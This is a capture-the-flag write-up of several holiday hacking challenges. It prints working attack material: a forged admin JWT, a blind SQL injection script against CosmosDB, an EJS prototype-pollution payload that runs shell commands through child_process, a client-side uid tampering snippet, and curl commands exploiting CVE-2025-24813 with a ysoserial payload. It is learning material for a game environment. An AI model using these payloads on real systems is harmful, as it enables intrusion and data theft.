> GET /auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJqd3RfdG9vbCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NjM1NjM3OCwiZXhwIjoxNzY2MzYzNTc4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GYGO_CGU-hSjVFbsSXGEP5s76oWVg4iX45G2ExNCEKXtTWYoqsU2sk3PCiGgQ64DStqhakdp8VAoiG7ouIKVz6z6SX8lku7IFzSO9fUu3KOObkZ-IgwPpi0zjXxrPins4TWoAfCZGVA0PBQqoy7YkMIlcUAM5EwWC5YVoLNseNUH8hV5p5m0DDrqOdCsc6BeyvnNC5bBrZUGBXPJDIhzzSwXAn_pv9utS3gGxhYWC_5Cbc5-ttMYcC-APka6JthMn9hCBb8NsHRS66qx2ImmsiCz3-0pTJQRGXq5i7iNi-2CCxcWk_bWJy10kQn9g4vjPlhZOzSZNqhmyvaOJwVX-w HTTP/1.1
> Host: gnome-48371.atnascorp
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 302 FOUND
< Date: Sun, 21 Dec 2025 22:54:34 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 229
< Location: /diagnostic-interface
< Vary: Cookie
< Set-Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aUh6qg.EHOWdlCucnZhEkP3Ry-BNZWNeSY; HttpOnly; Path=/
< 
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/diagnostic-interface">/diagnostic-interface</a>. If not, click the link.
* Connection #0 to host gnome-48371.atnascorp left intact
 
$ curl -H 'Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aUh6qg.EHOWdlCucnZhEkP3Ry-BNZWNeSY' \
       http://gnome-48371.atnascorp/diagnostic-interface
 
<!DOCTYPE html>
<html>
<head>
    <title>AtnasCorp : Gnome Diagnostic Interface</title>
    <link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp : Gnome Diagnostic Interface</h1>
<div style='display:flex; justify-content:center; gap:10px;'>
<img src='/camera-feed' style='width:30vh; height:30vh; border:5px solid yellow; border-radius:15px; flex-shrink:0;' />
<div style='width:30vh; height:30vh; border:5px solid yellow; border-radius:15px; flex-shrink:0; display:flex; align-items:flex-start; justify-content:flex-start; text-align:left;'>
System Log<br/>
2025-12-21 13:20:14: Movement detected.<br/>
2025-12-21 21:07:10: AtnasCorp C&C connection restored.<br/>
2025-12-21 22:30:11: Checking for updates.<br/>
2025-12-21 22:30:11: Firmware Update available: refrigeration-botnet.bin<br/>
2025-12-21 22:30:13: Firmware update downloaded.<br/>
2025-12-21 22:30:13: Gnome will reboot to apply firmware update in one hour.</div>
</div>
<div class="statuscheck">
    <div class="status-container">
        <div class="status-item">
            <div class="status-indicator active"></div>
            <span>Live Camera Feed</span>
        </div>
        <div class="status-item">
            <div class="status-indicator active"></div>
            <span>Network Connection</span>
        </div>
        <div class="status-item">
            <div class="status-indicator active"></div>
            <span>Connectivity to Atnas C&C</span>
        </div>
    </div>
</div>
 
</body>
</html>

refrigeration-botnet.bin

Quantgnome Leap

Charlie in the hotel has quantum gnome mysteries waiting to be solved. What is the flag that you find?

I’m dropped into a shell as qgnome and looking around I find a SSH key in ~/.ssh. The comment in the public key says gnome1, so a likely username. Using it I can login as gnome1 via SSH to localhost.

$ ls -la ~/.ssh
total 16
drwxr-xr-x    2 root     root          4096 Oct 29 00:29 .
drwxr-x---    1 qgnome   qgnome        4096 Dec 22 14:48 ..
-rw-------    1 qgnome   qgnome        2590 Oct 29 00:29 id_rsa
-rw-r--r--    1 qgnome   qgnome         560 Oct 29 00:29 id_rsa.pub
 
$ cat ~/.ssh/id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EA<SNIP>Fyk7wGkE07pWU= gnome1
 
$ ssh -i ~/.ssh/id_rsa gnome1@127.0.0.1

As gnome2 I get access to another SSH key. Instead of RSA it’s based on ED25519 eliptic curve. I repeat the previous steps to login as gnome2.

$ ls -la ~/.ssh
total 16
drwxr-xr-x    2 root     root          4096 Oct 29 00:29 .
drwxr-x---    1 gnome1   gnome1        4096 Dec 22 14:51 ..
-rw-------    1 gnome1   gnome1         399 Oct 29 00:29 id_ed25519
-rw-r--r--    1 gnome1   gnome1          88 Oct 29 00:29 id_ed25519.pub
 
$ cat ~/.ssh/id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKUOOPy0e1+4EzuM5PYc1/lfsXrR9FFDxTxDztvCi0Ce gnome2
 
$ ssh -i ~/.ssh/id_ed25519 gnome2@127.0.0.1

Once again this grants me access to another SSH key, this time for gnome3.

$ ls -la ~/.ssh
total 32
drwxr-xr-x    2 root     root          4096 Oct 29 00:29 .
drwxr-x---    1 gnome2   gnome2        4096 Oct 29 00:29 ..
-rw-------    1 gnome2   gnome2       13532 Oct 29 00:29 id_mayo2
-rw-r--r--    1 gnome2   gnome2        6590 Oct 29 00:29 id_mayo2.pub
 
$ cat ~/.ssh/id_mayo2
ssh-mayo2 AAAACXNzaC1tYX<SNIP>jEl9z gnome3
 
$ ssh -i ~/.ssh/id_mayo2 gnome3@127.0.0.1

Feeling a bit like Groundhog Day, I find SSH key for gnome4.

$ ls -la ~/.ssh
total 16
drwxr-xr-x    2 root     root          4096 Oct 29 00:29 .
drwxr-x---    1 gnome3   gnome3        4096 Oct 29 00:29 ..
-rw-------    1 gnome3   gnome3         744 Oct 29 00:29 id_ecdsa_nistp256_sphincssha2128fsimple
-rw-r--r--    1 gnome3   gnome3         265 Oct 29 00:29 id_ecdsa_nistp256_sphincssha2128fsimple.pub
 
$ cat ~/.ssh/id_ecdsa_nistp256_sphincssha2128fsimple.pub
ssh-ecdsa-nistp256-sphincssha2128fsimple AAAAKHNzaC1lY2RzYS1<SNIP>5d82Bg= gnome4
 
$ ssh -i ~/.ssh/id_ecdsa_nistp256_sphincssha2128fsimple gnome4@127.0.0.1

And hopefully for the last time, there’s another SSH key, but the comment specifies admin instead of gnomeX.

$ ls -la ~/.ssh
total 28
drwxr-xr-x    2 root     root          4096 Oct 29 00:29 .
drwxr-x---    1 gnome4   gnome4        4096 Oct 29 00:29 ..
-rw-------    1 gnome4   gnome4       14396 Oct 29 00:29 id_ecdsa_nistp521_mldsa87
-rw-r--r--    1 gnome4   gnome4        3739 Oct 29 00:29 id_ecdsa_nistp521_mldsa87.pub
 
$ cat ~/.ssh/id_ecdsa_nistp521_mldsa87.pub
ssh-ecdsa-nistp521-mldsa-87 AAAAG3NzaC1<SNIP>xqr9zVg== admin
 
$ ssh -i ~/.ssh/id_ecdsa_nistp521_mldsa87 admin@127.0.0.1

As admin I can look into the flag folder in /opt/oqs-ssh/ and read the flag file.

$ cat /opt/oqs-ssh/flag/flag 
HHC{L3aping_0v3r_Quantum_Crypt0}

HHC{L3aping_0v3r_Quantum_Crypt0}

Going in Reverse

Kevin in the Retro Store needs help rewinding tech and going in reverse. Extract the flag and enter it here.

BASIC program in the inventory

This challenges provides a BASIC program to download. The source code can be viewed in a text editor and looks like a prompt to enter a password. It has an encrypted password hardcoded and there’s an XOR operation in line 9.

10 REM *** COMMODORE 64 SECURITY SYSTEM ***
20 ENC_PASS$ = "D13URKBT"
30 ENC_FLAG$ = "DSA|auhts*wkfi=dhjwubtthut+dhhkfis+hnkz" ' old "DSA|qnisf`bX_huXariz"
40 INPUT "ENTER PASSWORD: "; PASS$
50 IF LEN(PASS$) <> LEN(ENC_PASS$) THEN GOTO 90
60 FOR I = 1 TO LEN(PASS$)
70 IF CHR$(ASC(MID$(PASS$,I,1)) XOR 7) <> MID$(ENC_PASS$,I,1) THEN GOTO 90
80 NEXT I
85 FLAG$ = "" : FOR I = 1 TO LEN(ENC_FLAG$) : FLAG$ = FLAG$ + CHR$(ASC(MID$(ENC_FLAG$,I,1)) XOR 7) : NEXT I : PRINT FLAG$
90 PRINT "ACCESS DENIED"
100 END

Placing the ENC_FLAG$ value into CyberChef and XORing it with 7 reveals the flag.

CTF{frost-plan:compressors,coolant,oil}

ACT III

Info

The Gnomes want to transform the neighborhood so that it’s frozen solid year-round, an environmental disaster. But who is the mastermind behind the Gnomes’ wickedness?

Gnome Tea

Enter the apartment building near 24-7 and help Thomas infiltrate the GnomeTea social network and discover the secret agent passphrase.

Login prompt to the GnomeTea web application

The HTML source for this site is pretty short but includes a ToDo regarding locking down dms, tea, and gnomes collection. Trying to login with random credentials shows an outbound connection to identitytoolkit.googleapis.com with an API key.

<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <link rel="icon" type="image/png" href="/GnomeTeaLogoNoBg.png" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <!-- TODO: lock down dms, tea, gnomes collections -->
    <title>GnomeTea - Spill the Tea!</title>
    <script type="module" crossorigin src="/assets/index-BVLyJWJ_.js"></script>
    <link rel="stylesheet" crossorigin href="/assets/index-C3GUVeby.css">
  </head>
  <body class="bg-gnome-cream">
    <div id="root"></div>
  </body>
</html>

When I search for the API key AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk in the loaded JavaScript, I can quickly find the configuration for Firebase. This is a service used for mobile and web app development, and offers databases and file storage among other features.

{
    "apiKey": "AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk",
    "authDomain": "holidayhack2025.firebaseapp.com",
    "projectId": "holidayhack2025",
    "storageBucket": "holidayhack2025.firebasestorage.app",
    "messagingSenderId": "341227752777",
    "appId": "1:341227752777:web:7b9017d3d2d83ccf481e98"
}

Accessing the service from apps is often done with hardcoded credentials or completely unauthenticated. By using the REST API, I check for database access4 and get data back for the collections listed in the ToDo.

$ curl -s "https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/gnomes" \
       | jq . > gnomes.json
 
$ curl -s "https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/tea" \
       | jq . > tea.json
 
$ curl -s "https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/dms" \
       | jq . > dms.json

Within the direct messages in dms.json I find an interesting message from Barnaby Briefcase. He mentions his password is the hometown he grew up in and lets us know that he took his ID there.

dms.json
{
    "mapValue": {
        "fields": {
            "senderName": {
                "stringValue": "Barnaby Briefcase"
            },
            "content": {
                "stringValue": "Sorry, I can't give you my password but I can give you a hint. My password is actually the name of my hometown that I grew up in. I actually just visited there back when I signed up with my id to GnomeTea (I took my picture of my id there)."
            },
            "timestamp": {
                "timestampValue": "2025-09-30T19:20:52.956Z"
            },
            "senderUid": {
                "stringValue": "l7VS01K9GKV5ir5S8suDcwOFEpp2"
            }
        }
    }
}

A link to his drivers license is available in gnomes.json, but trying to access it via the browser results in a 403.

gnomes.json
{
    "name": "projects/holidayhack2025/databases/(default)/documents/gnomes/l7VS01K9GKV5ir5S8suDcwOFEpp2",
    "fields": {
        "driversLicenseUrl": {
            "stringValue": "https://storage.googleapis.com/holidayhack2025.firebasestorage.app/gnome-documents/l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg"
        },
        "bio": {
            "stringValue": "Corporate ladder-climber with a leather briefcase full of seed contracts, quarterly reports, and a suspiciously large collection of business cards. He schedules synergy meetings and talks about \"disrupting the garden space.\""
        },
        "interests": {
            "arrayValue": {
                "values": [
                    {
                        "stringValue": "gardening"
                    },
                    {
                        "stringValue": "mushrooms"
                    },
                    {
                        "stringValue": "gossip"
                    }
                ]
            }
        },
        "createdAt": {
            "timestampValue": "2025-09-30T18:21:29.604Z"
        },
        "avatarUrl": {
            "stringValue": "https://storage.googleapis.com/holidayhack2025.firebasestorage.app/gnome-avatars/l7VS01K9GKV5ir5S8suDcwOFEpp2_profile.png"
        },
        "homeLocation": {
            "stringValue": "Gnomewood Grove, Dosis Neighborhood"
        },
        "email": {
            "stringValue": "barnabybriefcase@gnomemail.dosis"
        },
        "name": {
            "stringValue": "Barnaby Briefcase"
        },
        "uid": {
            "stringValue": "l7VS01K9GKV5ir5S8suDcwOFEpp2"
        }
    },
    "createTime": "2025-09-30T18:21:29.617348Z",
    "updateTime": "2025-09-30T19:09:06.541085Z"
}

Instead of trying to download through the firebase-admin SDK link, there’s also the regular client firebase SDK one. This points to storage.googleapis.com5 instead and there accessing the file is possible. After inspecting the metadata of the JPEG file, I can spot GPS coordinates.

$ curl "https://firebasestorage.googleapis.com/v0/b/holidayhack2025.firebasestorage.app/o/gnome-documents%2fl7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg?alt=media" \
       -o barnaby_driver_license.jpeg
 
$ exiftool barnaby_driver_license.jpeg
ExifTool Version Number         : 13.36
File Name                       : barnaby_driver_license.jpeg
Directory                       : .
File Size                       : 291 kB
File Modification Date/Time     : 2025:12:23 10:24:31+01:00
File Access Date/Time           : 2025:12:23 10:24:31+01:00
File Inode Change Date/Time     : 2025:12:23 10:24:31+01:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Toadstool Inc.
Camera Model Name               : Glimmerglass Pro
X Resolution                    : 0
Y Resolution                    : 0
Resolution Unit                 : None
Artist                          : Pip Sparkletoes Photography
Y Cb Cr Positioning             : Centered
Copyright                       : Property of the Gnome Secret Service (GSS)
GPS Version ID                  : 2.3.0.0
GPS Latitude Ref                : South
GPS Longitude Ref               : East
XMP Toolkit                     : Gnomish Tinker Tools v1.2
Digital Source File Type        : http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia
Digital Source Type             : http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia
Date/Time Original              : 2025:09:30 16:20:21+00:00
Date Created                    : 2025:09:30 16:20:21+00:00
Image Width                     : 896
Image Height                    : 550
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 896x550
Megapixels                      : 0.493
GPS Latitude                    : 33 deg 27' 53.85" S
GPS Longitude                   : 115 deg 54' 37.62" E
GPS Position                    : 33 deg 27' 53.85" S, 115 deg 54' 37.62" E

The coordinates 33°27'53.85"S 115°54'37.62"E point towards a location in Australia. On the street view there are lots of gnomes on display and the parking area nearby is labelled Gnomesville Car Park, so the hometown and therefore the password is likely Gnomesville.

Google Maps showing the place at the coordinates. A nearby parking lot is labeled Gnomesville Car Park

After a few tries, I’m able to login with barnabybriefcase@gnomemail.dosis and gnomesville (all lowercase) as the password. Within the application I can see all the data already retrieved via the direct access to the database.

Access to the GnomeTea dashboard as Barnaby

Instead of cookies, the current session is placed in the IndexDB named firebaseLocalStorageDb. Most of the data is already known.

{
    "fbase_key": "firebase:authUser:AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk:[DEFAULT]",
    "value": {
        "uid": "3loaihgxP0VwCTKmkHHFLe6FZ4m2",
        "email": "barnabybriefcase@gnomemail.dosis",
        "emailVerified": true,
        "displayName": "Barnaby Briefcase",
        "isAnonymous": false,
        "providerData": [
            {
                "providerId": "password",
                "uid": "barnabybriefcase@gnomemail.dosis",
                "displayName": "Barnaby Briefcase",
                "email": "barnabybriefcase@gnomemail.dosis",
                "phoneNumber": null,
                "photoURL": null
            }
        ],
        "stsTokenManager": {
            "refreshToken": "AMf-<REDACTED>_xO",
            "accessToken": "eyJh<REDACTED>HFBA",
            "expirationTime": 1766494214169
        },
        "createdAt": "1759256487470",
        "lastLoginAt": "1766490614011",
        "apiKey": "AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk",
        "appName": "[DEFAULT]"
    }
}

Inspecting the JavaScript once more finds references to /admin. Apparently this entry is only added to the navigation if the session data has the uid set to 3loaihgxP0VwCTKmkHHFLe6FZ4m2.

// --- SNIP ---
  T = '3loaihgxP0VwCTKmkHHFLe6FZ4m2';
  typeof window < 'u' &&
  (window.EXPECTED_ADMIN_UID = T),
  K.useEffect(
    () => {
      const $ = () => {
        const F = (_ == null ? void 0 : _.uid) === T,
        le = window.ADMIN_UID === T,
        ie = F ||
        le;
        v(ie),
        ie &&
        !o &&
        j()
      };
      $();
      const H = setInterval($, 500);
      return () => clearInterval(H)
    },
    [
      _ == null ? void 0 : _.uid,
      o
    ]
  ),
// --- SNIP ---

Unfortunately neither Firefox nor Chrome let me edit the IndexedDB directly within the developer console, but it’s still possible through JavaScript. The following snippet opens the firebaseLocalStorageDb, retrieves the current value for the specific key and then modifies the uid to the desired value before committing the changes.

const request = indexedDB.open("firebaseLocalStorageDb", 1);
 
request.onsuccess = function(event) {
   const db = request.result;
   const transaction = db.transaction("firebaseLocalStorage","readwrite");
   const store = transaction.objectStore("firebaseLocalStorage");
   console.log(store);
   let get = store.get("firebase:authUser:AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk:[DEFAULT]");
   get.onsuccess = function(event) {
       let data = event.target.result;
       data.value.uid = "3loaihgxP0VwCTKmkHHFLe6FZ4m2";
       store.put(data);
    }
    transaction.oncomplete = function() {
       db.close();
   }
}

After running the code, the new option in the navigation pops up and there I can find the secret passphrase.

Access to the Operations Dashboard

GigGigglesGiggler

Hack-a-Gnome

Davis in the Data Center is fighting a gnome army—join the hack-a-gnome fun.

Login prompt to the Smart Gnome Control

The registration seems closed, but upon inputting a username there’s an outbound request to /userAvailable?username= to check the availability. This can be used to enumerate valid users and I use ffuf for this with some common names. One match it finds is bruce.

$ ffuf -u "https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=FUZZ" \
       -w /usr/share/wordlists/seclists/Usernames/Names/names.txt \
       -fs 18
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 18
________________________________________________
 
bruce                   [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 175ms]

I assume the user information is kept in a database, so the check is likely using some kind of query and might therefore be vulnerable to SQL injection. Appending a single " after bruce produces an error message that reveals that the application is using CosmosDB as database.

{
    "error": "An error occurred while checking username: Message: {\"errors\":[{\"severity\":\"Error\",\"location\":{\"start\":49,\"end\":50},\"code\":\"SC1012\",\"message\":\"Syntax error, invalid string literal token '\\\"'.\"}]}\r\nActivityId: 5e776f6d-90a2-4801-a082-ca33088e0c0b, Microsoft.Azure.Documents.Common/2.14.0"
}

After using bruce"-- - as payload, the response from the server returns back to normal, so now I can start enumerating the database. IS_DEFINED can be used to determine whether a specific property or column exists6 and with this and LENGTH I quickly identify the property that holds the password (hash) value to be digest. Based on the length of the value (32) that might be a MD5 hash.

bruce" AND IS_DEFINED(c.digest)-- -
bruce" AND LENGTH(c.digest) = 32-- -

To guess the hash one character at a time, I can use SUBSTRING and iterate through the value. If the availability is set to false the correct character is found and I can move on to the next. Doing this manually is tedious, so I build a small Python script that goes through all valid chars in the hex alphabet.

inject.py
import requests
 
 
url = 'https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable'
session = requests.Session()
length = 32
alphabet = 'abcdef0123456789'
password_hash = ''
 
for i in range(length):
    for a in alphabet:
        resp = session.get(
                url,
                params={
                'username':f'bruce" AND SUBSTRING(c.digest,{i},1) = "{a}"-- -',
                'id': 'ede52481-ee8e-4f1e-9b00-9977c9bc0d64'
                })
        if not resp.json()['available']:
            password_hash += a
            break
 
    print(f'\r{password_hash}', end='')
 

Running the script returns d0a9ba00f80cbc56584ef245ffc56b9e and this cracks quickly to reveal oatmeal12 as the plain text password. Using that password I can login as bruce and get access to the Smart Gnome Control Center.

Access to the Smart GnomeControl Center

The page consists out of two iframes, one rendering the /stats page and the other showing the factory floor with a controllable robot. In theory using WASD I should be able to move the robot around in order to get to the power switch, but there are only error messages. Apparently the canbus command IDs are unknown.

I’m also able to reset the factory, but that just re-renders the view. More interesting is the button to update the name of the robot. It opens a prompt and I can supply a string and then updates the name on Statistics page. In the background there’s a call to /ctrlsignals with the parameter message set to an URL-encoded JSON payload.

{"action":"update","key":"settings","subkey":"name","value":"test"}

Based on that it sets the attribute name of settings to the value test. If not implemented correctly this can lead to prototype pollution. Since name is also rendered on the page, I set it to a new object with the toString function returning a boolean instead of being a function.

{"action":"update","key":"settings","subkey":"name","value":{"toString": true}}

After URL-encoding the payload and sending it, all subsequent calls to /stats output an error message with a stacktrace. This reveals the template engine EJS is in use. In order to fix the error message, I set the value back to regular string.

TypeError: /app/views/stats.ejs:71
    69|                     <tr>
    70|                         <td class="key-cell"><%= stat.name %></td>
 >> 71|                         <td class="value-cell"><%= stat.value %></td>
    72|                     </tr>
    73|                 <% }); %>
    74|             </tbody>
 
Cannot convert object to primitive value
    at String (<anonymous>)
    at exports.escapeXML (/app/node_modules/ejs/lib/utils.js:97:7)
    at eval (/app/views/stats.ejs:18:16)
    at Array.forEach (<anonymous>)
    at eval (/app/views/stats.ejs:12:19)
    at stats (/app/node_modules/ejs/lib/ejs.js:691:17)
    at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:272:36)
    at exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:489:10)
    at View.render (/app/node_modules/express/lib/view.js:135:8)
    at tryRender (/app/node_modules/express/lib/application.js:657:10)

Next I try to pollute the __proto__ attribute, but using it as subkey does not have the desired effect. As soon as I use it as the key with toString as the subkey, the page errors out again.

{"action":"update","key":"__proto__","subkey":"toString","value":"test"}

It looks like the endpoint sets Object.<key>.<subkey> = <value> and therefore makes it trivial to pollute anything. Logging out and back in again, resets everything.

TypeError: Object.prototype.toString.call is not a function
    at Object.isRegExp (/app/node_modules/qs/lib/utils.js:231:38)
    at normalizeParseOptions (/app/node_modules/qs/lib/parse.js:289:64)
    at module.exports [as parse] (/app/node_modules/qs/lib/parse.js:305:19)
    at parseExtendedQueryString (/app/node_modules/express/lib/utils.js:289:13)
    at query (/app/node_modules/express/lib/middleware/query.js:42:19)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/app/node_modules/express/lib/router/index.js:328:13)
    at /app/node_modules/express/lib/router/index.js:286:9
    at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12)
    at next (/app/node_modules/express/lib/router/index.js:280:10)

Just being able to pollute things, it does not necessarily grant me more access on the page. There’s no admin area or any other privileged actions available. Getting command execution is also possible through the use of gadgets and the template engine in use is a prime target for that. Looking for those, quickly finds issue 451 on GitHub and that shows the pollution of outputFunctionName can lead to command execution. The description comes with a payload, that I use for my next try.

{"action":"update","key":"__proto__","subkey":"outputFunctionName","value":"a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"whoami\"); //"}

Reloading the /stats page now prompts me to download a file. Looking at the request in BurpSuite reveals that the application is responding with the output of the whoami command.

Executing single commands through this would be very tedious, so I execute a reverse shell payload to gain an interactive session on the target. There I’m dropped into Docker container as root and get access to the source code for the web application and the interaction with the canbus protocol.

$ ls -la
total 88
drwxr-xr-x  1 root root  4096 Dec 29 09:41 .
drwxr-xr-x  1 root root  4096 Dec 29 09:41 ..
-rw-r--r--  1 root root   283 Oct  1 17:01 .env
-rw-r--r--  1 root root  6957 Oct  1 17:01 README.md
-rwxr-xr-x  1 root root  3310 Oct  1 17:01 canbus_client.py
drwxr-xr-x 81 root root  4096 Dec  5 21:33 node_modules
-rw-r--r--  1 root root 36919 Dec  5 21:33 package-lock.json
-rw-r--r--  1 root root   359 Oct  1 17:01 package.json
-rw-r--r--  1 root root  9867 Oct  1 17:01 server.js
drwxr-xr-x  2 root root  4096 Oct  1 17:01 views

The canbus_client.py script has the commands up, down, left, and right hardcoded with their CAN IDs, but those are obviously wrong.

canbus_client.py
#!/usr/bin/python3
import can
import time
import argparse
import sys
import datetime # To show timestamps for received messages
 
# Define CAN IDs (I think these are wrong with newest update, we need to check the actual device documentation)
COMMAND_MAP = {
    "up": 0x656,
    "down": 0x657,
    "left": 0x658,
    "right": 0x659,
    # Add other command IDs if needed
}
# Add 'listen' as a special command option
COMMAND_CHOICES = list(COMMAND_MAP.keys()) + ["listen"]
 
IFACE_NAME = "gcan0"
 
def send_command(bus, command_id):
    """Sends a CAN message with the given command ID."""
    message = can.Message(
        arbitration_id=command_id,
        data=[], # No specific data needed for these simple commands
        is_extended_id=False
    )
    try:
        bus.send(message)
        print(f"Sent command: ID=0x{command_id:X}")
    except can.CanError as e:
        print(f"Error sending message: {e}")
 
def listen_for_messages(bus):
    """Listens for CAN messages and prints them."""
    print(f"Listening for messages on {bus.channel_info}. Press Ctrl+C to stop.")
    try:
        # Iterate indefinitely over messages received on the bus
        for msg in bus:
            # Get current time for the timestamp
            timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] # Milliseconds precision
            print(f"{timestamp} | Received: {msg}")
            # You could add logic here to filter or react to specific messages
            # if msg.arbitration_id == 0x100:
            #    print("  (Noise message)")
 
    except KeyboardInterrupt:
        print("\nStopping listener...")
    except Exception as e:
        print(f"\nAn error occurred during listening: {e}")
 
def main():
    parser = argparse.ArgumentParser(description="Send CAN bus commands or listen for messages.")
    parser.add_argument(
        "command",
        choices=COMMAND_CHOICES,
        help=f"The command to send ({', '.join(COMMAND_MAP.keys())}) or 'listen' to monitor the bus."
    )
    args = parser.parse_args()
 
    try:
        # Initialize the CAN bus interface
        bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False) # Set receive_own_messages if needed
        print(f"Successfully connected to {IFACE_NAME}.")
    except OSError as e:
        print(f"Error connecting to CAN interface {IFACE_NAME}: {e}")
        print(f"Make sure the {IFACE_NAME} interface is up ('sudo ip link set up {IFACE_NAME}')")
        print("And that you have the necessary permissions.")
        sys.exit(1)
    except Exception as e:
        print(f"An unexpected error occurred during bus initialization: {e}")
        sys.exit(1)
 
    if args.command == "listen":
        listen_for_messages(bus)
    else:
        command_id = COMMAND_MAP.get(args.command)
        if command_id is None: # Should not happen due to choices constraint
            print(f"Invalid command for sending: {args.command}")
            bus.shutdown()
            sys.exit(1)
        send_command(bus, command_id)
        # Give a moment for the message to be potentially processed if listening elsewhere
        time.sleep(0.1)
 
    # Shutdown the bus connection cleanly
    bus.shutdown()
    print("CAN bus connection closed.")
 
if __name__ == "__main__":
    main()

I decide to bruteforce the correct values and generate a list of possible IDs, from 0x000 to 0xfff. Then I slightly modify the canbus_client script to take the ID directly, convert it to int and send it off.

$ python3 -c "print('\n'.join(['0x'+a+b+c for a in 'abcdef0123456789' for b in 'abcdef0123456789' for c in 'abcdef0123456789']))" > wl.txt
 
$ cat wl.txt | while read l; do python3 canbus_client.py $l; done

While executing the script, the error messages in the browser console pile up, but soon I can see a gap between 0x201 and 0x204. Those must be the correct values, since the robot also moved on the screen. I change back the script to the original state but modify the COMMAND_MAP to reflect the new values.

COMMAND_MAP = {
    "up": 0x201,
    "down": 0x202,
    "left": 0x203,
    "right": 0x204,
    # Add other command IDs if needed
}

Now it’s possible to move the robot through the script (and theoretically through the web app too, but the pollution is blocking) and I can push the boxes out of the way to let me move to the off switch. Then the power level goes to 0% and the objective is fulfilled.

The factory floor shows the robot moved to the off switch and the power level is set to 0%

Snowcat RCE & Priv Esc

Tom, in the hotel, found a wild Snowcat bug. Help him chase down the RCE! Recover and submit the API key not being used by snowcat.

Challenge description in the terminal

In the home directory of user there’s a Markdown file with notes, a Python script for CVE-2025-24813, several JSP files and a JAR for ysoserial. The notes show the steps to exploit the CVE and give a hint about outdated C libraries, that might allow for privilege escalation.

notes.md
# Remote Code Execution exploiting RCE-2025-24813
 
Snowcat is a webserver adapted to life in the arctic.
Can you help me check to see if Snowcat is vulnerable to RCE-2025-24813 like its cousin Tomcat?
 
## Display ysoserial help, lists payloads, and their dependencies:
 
java -jar ysoserial.jar
 
## Identify what libraries are used by the Neighborhood Weather Monitoring system
 
## Use ysoserial to generate a payload
 
Store payload in file named payload.bin
 
## Attempt to exploit RCE-2025-24813 to execute the payload
 
export HOST=TODO_INSERT_HOST
export PORT=TODO_INSERT_PORT
export SESSION_ID=TODO_INSERT_SESSION_ID
 
curl -X PUT \
  -H "Host: ${HOST}:${PORT}" \
  -H "Content-Length: $(wc -c < payload.bin)" \
  -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" \
  --data-binary @payload.bin \
  "http://${HOST}:${PORT}/${SESSION_ID}/session"
 
curl -X GET \
  -H "Host: ${HOST}:${PORT}" \
  -H "Cookie: JSESSIONID=.${SESSION_ID}" \
  "http://${HOST}:${PORT}/"
 
 
# Privilege Escalation
 
The Snowcat server still uses some C binaries from an older system iteration.
Replacing these has been logged as technical debt.
